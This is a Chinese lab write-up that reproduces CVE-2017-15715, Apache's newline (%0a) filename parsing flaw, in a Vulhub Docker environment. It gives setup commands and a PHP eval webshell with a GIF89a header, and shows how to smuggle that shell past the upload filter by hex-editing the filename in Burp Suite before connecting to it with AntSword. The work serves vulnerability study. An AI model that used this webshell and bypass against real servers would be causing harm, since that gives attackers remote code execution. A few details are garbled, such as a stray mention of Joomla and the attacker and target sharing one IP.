当前位置: 首页 > news >正文

Apache换行解析 文件上传漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-15715 vulhub)

目录

一、CVE-2017-15715

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

6、环境角色

三、vulhub CVE-渗透

1、攻击机访问web页面

2、构造脚本

3、尝试上传

4、bp设置inception on

5、再次上传脚本

6、bp抓包

7、修改报文

(1)后缀增加a

(2)定位61

(3)修改为0a

8、上传成功

9、访问脚本

10、连接蚁剑


本文详细分析Apache HTTP服务器中的CVE-2017-15715漏洞,该漏洞存在于2.4.0到2.4.29版本中,允许攻击者通过换行符绕过安全限制上传恶意PHP文件。文章首先介绍漏洞原理,随后详细描述了使用Vulhub搭建漏洞测试环境的过程,包括Docker环境的配置和启动。最后通过实际渗透测试演示了漏洞利用方法:构造特殊命名的PHP文件(包含换行符%0a),利用Burp Suite修改请求绕过检测,,成功上传webshell并用蚁剑连接控制服务器。整个过程完整呈现了从环境搭建到漏洞利用的全流程。

一、CVE-2017-15715

1、漏洞简介

CVE-2017-15715 是 Apache HTTP 服务器(版本 2.4.0 到 2.4.29)中的换行解析漏洞,它允许攻击者通过精心构造的文件名绕过安全限制,上传并执行恶意代码。

  • CVE 编号:CVE-2017-15715

  • 漏洞类型:解析漏洞

  • 影响组件:Apache HTTP 服务器(特别是与 mod_php 模块结合用于运行 PHP 网页时)。

  • 受影响版本:Apache HTTPD 2.4.0 到 2.4.29 版本。

  • 不受影响版本:Apache HTTPD 2.4.30 及之后版本已修复此漏洞。

  • 根本原因:Apache 在配置中使用正则表达式匹配 PHP 文件后缀时(通常是 \.php$),$ 元字符在某些配置下不仅匹配字符串结尾,还可能匹配换行符(\x0A。这意味着一个名为 example.php\x0A 的文件可能会被 Apache 当作 PHP 文件解析,从而绕过一些基于后缀名的安全检测

2、漏洞原理

Apache 通过 FilesMatch 指令(例如 <FilesMatch \.php$>)来识别 PHP 文件,并交给 mod_php 处理。这里的 $ 在正则表达式中表示字符串的结束位置。

  • 然而,如果 RegExp 对象的 Multiline 属性被设置,$ 也可以匹配换行符(\n 或 \r

  • 攻击者可以利用这一点,在上传文件时,在文件名中的 .php 后面插入一个换行符(%0a,例如将文件命名为 shell.php%0a

  • 后端的上传检测逻辑(如使用 basename() 或 pathinfo() 函数获取文件名并进行校验)可能因为不处理或去除换行符而认为该文件后缀合法(例如认为是 .txt 或其他非黑名单后缀),从而允许上传。

  • 但 Apache 在解析时,由于 $ 匹配了换行符,仍会将 shell.php%0a 识别为 PHP 文件并执行其中的代码

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Joomla反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

# 进入 apache CVE-2017-15715的漏洞环境目录
cd apache/CVE-2017-15715

4、启动漏洞环境

在apache/CVE-2017-15715目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

└─# docker-compose up -d
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release"class": algorithms.Blowfish,
Creating network "cve-2017-15715_default" with the default driver
Building apache
Sending build context to Docker daemon  155.6kB
Step 1/4 : FROM vulhub/php:5.5-apache
5.5-apache: Pulling from vulhub/php
357ea8c3d80b: Pull complete 
85537f80f73d: Pull complete 
3d821ad560e1: Pull complete 
b4ae91aad522: Pull complete 
66e1c1a53c95: Pull complete 
5d1f306a8912: Pull complete 
37733078a51e: Pull complete 
c5351b4d6bee: Pull complete 
4f946c4dcbe2: Pull complete 
0c48c69d4b11: Pull complete 
dbc71ed1796a: Pull complete 
9c6d026ad711: Pull complete 
3fced1e5eb8f: Pull complete 
Digest: sha256:fc96e065114c01c6fdecc2fc73a14421fdbe9db0eb481aaebce98f4f4f9c4b5b
Status: Downloaded newer image for vulhub/php:5.5-apache---> bc9c24ed3e6d
Step 2/4 : LABEL maintainer="phithon <root@leavesongs.com>"---> Running in 5a00c5a89de9
Removing intermediate container 5a00c5a89de9---> abb153024fb1
Step 3/4 : COPY index.php /var/www/html/---> 47b9b3afa1e4
Step 4/4 : RUN chown www-data:www-data -R /var/www/html---> Running in f5319022edde
Removing intermediate container f5319022edde---> 06d76f8c76fa
Successfully built 06d76f8c76fa
Successfully tagged cve-2017-15715_apache:latest
WARNING: Image for service apache was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
Creating cve-2017-15715_apache_1 ... done

命令执行后,Docker 会完成拉取一个包含 cve-2017-15715_apache(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称cve-2017-15715_apache可以立即判断,这个环境即为cve-2017-15715的漏洞环境。

┌──(root㉿kali)-[/home/kali/vulhub-master/httpd/CVE-2017-15715]
└─# docker ps
CONTAINER ID   IMAGE                   COMMAND                CREATED          STATUS          PORTS                                   NAMES
d07dc7997c1c   cve-2017-15715_apache   "apache2-foreground"   10 minutes ago   Up 10 minutes   0.0.0.0:8080->80/tcp, :::8080->80/tcp   cve-2017-15715_apache_1
列名含义解释
CONTAINER IDd07dc7997c1c正在运行的Docker容器的唯一标识符(完整ID的缩写)。
IMAGEcve-2017-15715_apache容器所使用的镜像名称。这个镜像是Vulhub专门为复现CVE-2017-15715漏洞而构建的,内部运行着一个存在漏洞的Apache服务器。
COMMAND"apache2-foreground"容器启动时运行的命令。这里是启动Apache服务器并以前台模式运行,这是Web服务器容器的典型命令。
CREATED10 minutes ago容器是在10分钟前创建的。
STATUSUp 10 minutes最重要信息之一。容器当前的状态是“Up”(正在运行),且已经运行了10分钟。这说明漏洞环境正在正常运作
PORTS0.0.0.0:8080->80/tcp最关键的信息。这表示Docker进行了端口映射
0.0.0.0:8080:宿主机的所有网络接口(Kali Linux)上的8080端口
80/tcp:容器内部Apache服务器监听的80端口
含义:所有发送到你Kali机器8080端口的网络流量,都会被自动转发到容器内部的80端口(即那个有漏洞的Apache服务器)。
NAMEScve-2017-15715_apache_1容器的名称,由Docker Compose自动生成,基于目录名和服务的名称。

6、环境角色

靶机的ip与端口为192.168.59.128和8080,渗透环境的角色具体如下所示。

ip

os

应用

靶机

192.168.59.128

Docker

Apache

攻击主机

192.168.59.128

kali

msf

三、vulhub CVE-渗透

1、攻击机访问web页面

如下所示,这是一个文件上传的页面,完整URL地址如下所示。

http://192.168.59.128:8080

2、构造脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。脚本执行时输出“mooyuan”,实际核心是@eval($_POST['ljn']),该代码允许攻击者通过向该文件发送包含ljn参数的POST请求来远程执行任意PHP命令

GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

3、尝试上传

尝试上次mooyuan.php,提示bad file。

4、bp设置inception on

5、再次上传脚本

将filename改为mooyuan.php,点击上传。

6、bp抓包

点击上传后bp抓包,如下所示,将上图红框内部的【mooyuan.php】修改为【mooyuan.phpa】,即文件名后缀增加一个a,这样做是a的16进制为61,为方便找到将其改为0a。

7、修改报文

(1)后缀增加a

在php的尾部增加a,修改后如下所示。

(2)定位61

在Hex对应的16进制编辑找到mooyuan.phpa对应的16进制内容,定位a对应的16进制61。

(3)修改为0a

将61修改为0a,确定修改好后,点击发送,如下所示

8、上传成功

查看网页,效果如下,没有提示上传失败。

进入docker中查看是否上传成功,如下所示已经上传成功

9、访问脚本

构建脚本URL地址,脚本名称为mooyuan.php%0a,脚本在网址根目录,故而URL如下所示。

http://192.168.59.128:8080/mooyuan.php%0a
POST数据:ljn=phpinfo();

10、连接蚁剑

使用蚁剑连接木马,配置如下所示,点击测试连接提示连接成功,点击左上角的添加。

http://192.168.59.128:8080/mooyuan.php%0a
密码ljn

连接成功后效果如下所示,右键文件操作进入文件管理界面。

http://www.dtcms.com/a/490219.html

相关文章:

  • 自动伸缩:K8s Cluster Autoscaler,节点池配置技巧?
  • 网站制作的预算网站建设著作权
  • 性能优化之前端与服务端中的 Gzip 压缩全解析
  • 【Day 77】Linux-iptables防火墙
  • GitHub 热榜项目 - 日榜(2025-10-16)
  • 爬虫汇总与实战
  • 哪个网站做网销更好python怎么做网站
  • dede 网站地图 插件添加图标wordpress
  • 对比k8s的service和kube-proxy
  • 理想汽车Java后台开发面试题及参考答案(上)
  • Kotlin 实现社交 App 音视频模块:语音录制、播放、暂停与进度控制全流程封装
  • Lustre/Scade 形式化语义基础 —— 同步Kahn网络 (1996)
  • 内核空间与用户空间解读
  • ELK运维之路(Filebeat第一章-7.17.24)
  • 开源接口管理工具深度横评,swagger vs PostIn哪个更适合你?
  • list的使用和模拟实现
  • 群辉怎么做网站服务器专做投放广告网站
  • 【34】MFC入门到精通——MFC 控件 ComboBox 运行点击控件下拉框 “终止“、“重试“、“忽略“、“引发异常”
  • 论文见解:REACT:在语言模型中协同推理和行动
  • Megatron-DeepSpeed 方案
  • 停止检索!刚刚这本期刊被数据库剔除!
  • Flink-Kafka 数据倾斜问题解决方案
  • html 实现鼠标滑动点亮横轴
  • 连接 TDengine 遇到报错 “failed to connect to server, reason: Connection refused” 怎么办?
  • Web自动化(三方库:Selenium)
  • 网站单页在线制作软件长尾关键词是什么意思
  • 生成静态页面网站源码信息门户网站是什么
  • 在阿里云CentOS服务器上使用Certbot为Nginx配置SSL证书
  • 如何优化网站打开速度网站运营和管理
  • 华为数通认证学习难吗?需掌握哪些核心知识点?